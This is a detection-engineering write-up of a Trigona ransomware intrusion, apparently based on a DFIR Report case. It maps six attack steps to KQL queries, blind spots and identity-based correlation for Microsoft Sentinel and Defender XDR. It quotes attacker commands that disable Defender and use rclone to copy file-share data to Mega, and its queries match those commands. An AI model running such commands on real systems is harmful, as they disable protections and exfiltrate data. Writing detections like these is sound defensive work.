static-reviewed

Trigona Ransomware in 3 Hours

Trigona Ransomware~2h49m initial access to encryption6 stepsDefender XDRMicrosoft Sentinel

A domain Administrator credential logged into an internet-exposed RDP host (no brute force), and 2h49m later Trigona was encrypting the whole network over SMB. Every step rode valid admin creds and built-in tooling, so each signal alone reads as legitimate administration. The incident is only defensible by chaining the steps on one identity within a 3h window. This is the cleanest possible proof that fidelity lives in correlation, not in any single query.

Source: The DFIR Report — Buzzing on Christmas Eve · #19172 · 2024-01-29 · intrusion Dec 2022

ATT&CK techniques

T1078Valid Accounts
T1133External Remote Services
T1059.001PowerShell
T1059.003Windows Command Shell
T1021.001Remote Desktop Protocol
T1018Remote System Discovery
T1069.002Domain Groups
T1033System Owner/User Discovery
T1135Network Share Discovery
T1083File and Directory Discovery
T1562.001
T1112Modify Registry
T1567.002Exfiltration to Cloud Storage
T1570Lateral Tool Transfer
T1105Ingress Tool Transfer
T1547.001Registry Run Keys / Startup Folder
T1486Data Encrypted for Impact

Kill chain

1
T0Initial AccessT1133 External Remote Services
alsoT1078
A single RDP connection from a Ukraine-geolocated IP (77.83.36[.]6, host WIN-L1MS2GT1R2G) logged in with valid credentials for the default domain Administrator account. No brute force. The logon was a resumed/unlocked session (Windows Event 4778, logon type 7), and prior remote logins to the same host appeared in the preceding weeks - suggesting an access broker or recurrent adversary.
DeviceLogonEventsSigninLogs
theorized
kqlIdrdp-external-logondraft
```
DeviceLogonEvents
| where LogonType == "RemoteInteractive"
| where isnotempty(RemoteIP) and ipv4_is_private(RemoteIP) == false
| where AccountName == "Administrator"
| project Timestamp, DeviceName, AccountName, RemoteIP, RemoteDeviceName
```
FP / FN: FP: remote admins, jump hosts, home office without VPN. CRITICAL FN RISK: this intrusion used a RESUMED/unlocked session (Event 4778 / type 7), which may NOT surface as 'RemoteInteractive' - the naive query above could MISS this exact case. Textbook gap between static-reviewed (looks right) and lab-tested (actually fires). Validate against 4624 type 7 + 4778 before trusting it.
2
T0 +minutesDiscoveryT1135 Network Share Discovery
alsoT1018T1069.002T1033
Native recon first: net group /domain, net group 'domain admins' /domain, whoami via PowerShell. Then SoftPerfect Netscan with a heavily customized config (netscan.xml) used as a central command tool. Netscan's share-enumeration checked write-access to shares, which generates Windows Security Event 5145 referencing a relative target 'delete[.]me'.
SecurityEventDeviceProcessEvents
static-reviewed
kqlIdnetscan-share-enumdraft
```
SecurityEvent
| where EventID == 5145
| where RelativeTargetName has "delete.me"
| summarize hits=count() by Computer, SubjectUserName, IpAddress, bin(TimeGenerated, 5m)
```
FP / FN: Highest-value EARLY detection in the whole chain - fires before exfil/encryption. Requires Detailed File Share auditing (Event 5145) to be ingested; not on by default. The report ships an EXPERIMENTAL Sigma rule for exactly this - even the source team has not field-validated it.
3
T0 +~20mLateral MovementT1021.001 Remote Desktop Protocol
alsoT1570
Using the beachhead as a pivot, the actor opened RDP sessions to file servers and a backup server, copying their toolkit across. No exploitation needed - the domain Administrator credential granted local admin everywhere. RDP was the only lateral-movement technique used.
DeviceLogonEvents
static-reviewed
kqlIdlateral-rdp-pivotdraft
```
DeviceLogonEvents
| where LogonType == "RemoteInteractive"
| where ipv4_is_private(RemoteIP) == true
| summarize targets=dcount(DeviceName), hosts=make_set(DeviceName) by AccountName, RemoteIP, bin(Timestamp, 30m)
| where targets > 1
```
FP / FN: FP: legitimate admin jump-host patterns, patch/management tooling. One account RDP-ing to multiple servers in a short window is the signal; tune the targets threshold per environment.
4
T0 +~20-40mDefense EvasionT1562.001 Impair Defenses: Disable or Modify Tools
alsoT1112
On each host, Defender was disabled via manual commands (the dropped DefenderOFF.bat was NOT executed): taskkill /F /IM MSASCuiL.exe; powershell Set-MpPreference -DisableRealtimeMonitoring $true; plus a series of REG ADD statements setting DisableAntiSpyware and disabling real-time protection. Same treatment applied to beachhead, both file servers, and the backup server.
DeviceProcessEventsDeviceRegistryEvents
static-reviewed
kqlIddefender-tamperdraft
```
DeviceProcessEvents
| where ProcessCommandLine has_any ("Set-MpPreference -DisableRealtimeMonitoring", "DisableAntiSpyware", "MSASCuiL.exe")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
```
FP / FN: FP: legitimate IT maintenance, AV migration. Tradecraft lesson: the actor preferred MANUAL commands over the dropped .bat, so a detection keyed only on the script filename would miss it - key on the behavior (Set-MpPreference / Defender registry writes).
5
T0 +~1-2hExfiltrationT1567.002 Exfiltration to Cloud Storage
Rclone (executed by batch scripts named with the Russian word for 'copy', kopiya) exfiltrated file-share data to Mega.io: rclone.exe copy \\[FILE SERVER]\... MEGA:domain --multi-thread-streams 12 --transfers 12. The rclone config was encrypted (OPSEC to hide the exfil account). Dual extortion - data stolen before encryption.
DeviceProcessEventsDeviceNetworkEvents
static-reviewed
kqlIdexfil-rclone-megadraft
```
DeviceProcessEvents
| where FileName =~ "rclone.exe" or ProcessCommandLine has "MEGA:"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
// pair with DeviceNetworkEvents to mega.io / mega.co.nz for corroboration
```
FP / FN: FP: legitimate rclone users, sanctioned cloud sync. Renaming rclone.exe defeats the FileName match - corroborate with the network leg (mega.io) and the multi-thread copy command line.
6
T0 +2h49mImpactT1486 Data Encrypted for Impact
alsoT1547.001
Trigona (build_redacted.exe) was staged and executed on each accessible host via the RDP sessions, then propagated to all network-accessible hosts over SMB. It set an HKCU Run key for persistence and dropped the ransom note how_to_decrypt.hta. Encryption began ~2h49m after initial access.
DeviceFileEvents
static-reviewed
kqlIdimpact-mass-encryptiondraft
```
DeviceFileEvents
| where ActionType in ("FileRenamed","FileModified") or FileName =~ "how_to_decrypt.hta"
| summarize affected=dcount(FolderPath), note=countif(FileName =~ "how_to_decrypt.hta") by DeviceName, bin(Timestamp, 5m)
| where affected > 200 or note > 0
```
FP / FN: FP: backup/sync software, bulk file ops. LOUDEST but LATEST signal - by 2h49m the damage is done. The whole point of the correlation below is to fire hours before this step.

Correlation

6 signals → 1 high-fidelity incident

Linking entity: AccountSid (domain Administrator) + DeviceName
Time window: 3h sliding

Sequence

1. external RDP (valid admin)
2. Netscan share-enum (5145)
3. Defender disabled
4. lateral RDP to servers
5. Rclone to Mega.io
6. mass SMB encryption

Every primitive here is individually defensible: an admin logs in by RDP, an admin runs net group, an admin touches Defender during 'maintenance', rclone might be sanctioned, file writes happen constantly. None warrants a page on its own. Joined on the SAME Administrator identity within a 3h window, the ordered sequence - external foothold, share-enum, defense tampering, server-to-server RDP, cloud exfil, mass encryption - does not occur in benign operations. The fidelity is created by the join, not by any single query.

Architect note: Key the correlation on IDENTITY, not source IP. This actor rotated IPs mid-intrusion (77.83.36[.]6 -> 193.106.31[.]9, ~2.5h in) using the same credential and the same playbook; an IP-keyed rule would split one incident into two and lower every per-IP score below threshold. In the Microsoft stack this is incident-grouping / a scheduled analytics rule keyed on the entity; document WHICH layer (Sentinel analytics vs Defender XDR attack story) owns the correlation - that is the architect-level decision.

Blind spots

Step 1 false-negative: the initial logon was a resumed/unlocked session (Event 4778 / logon type 7), which a naive 'RemoteInteractive' RDP query can miss entirely.
IP rotation mid-intrusion (77.83.36[.]6 -> 193.106.31[.]9) breaks any source-IP-based correlation; key on identity instead.
Almost everything used valid domain Administrator creds + built-in tools (living off the land), so individual signals are nearly indistinguishable from legitimate administration.
Several detection-worthy scripts (newuser.bat, openrdp.bat, DefenderOFF.bat) were DROPPED but NOT executed - file-creation detections would fire, process-execution detections would not. Your detection layer choice changes what you catch.
Detailed File Share auditing (Event 5145) is off by default - the best early detection (step 2) is blind unless that telemetry is ingested.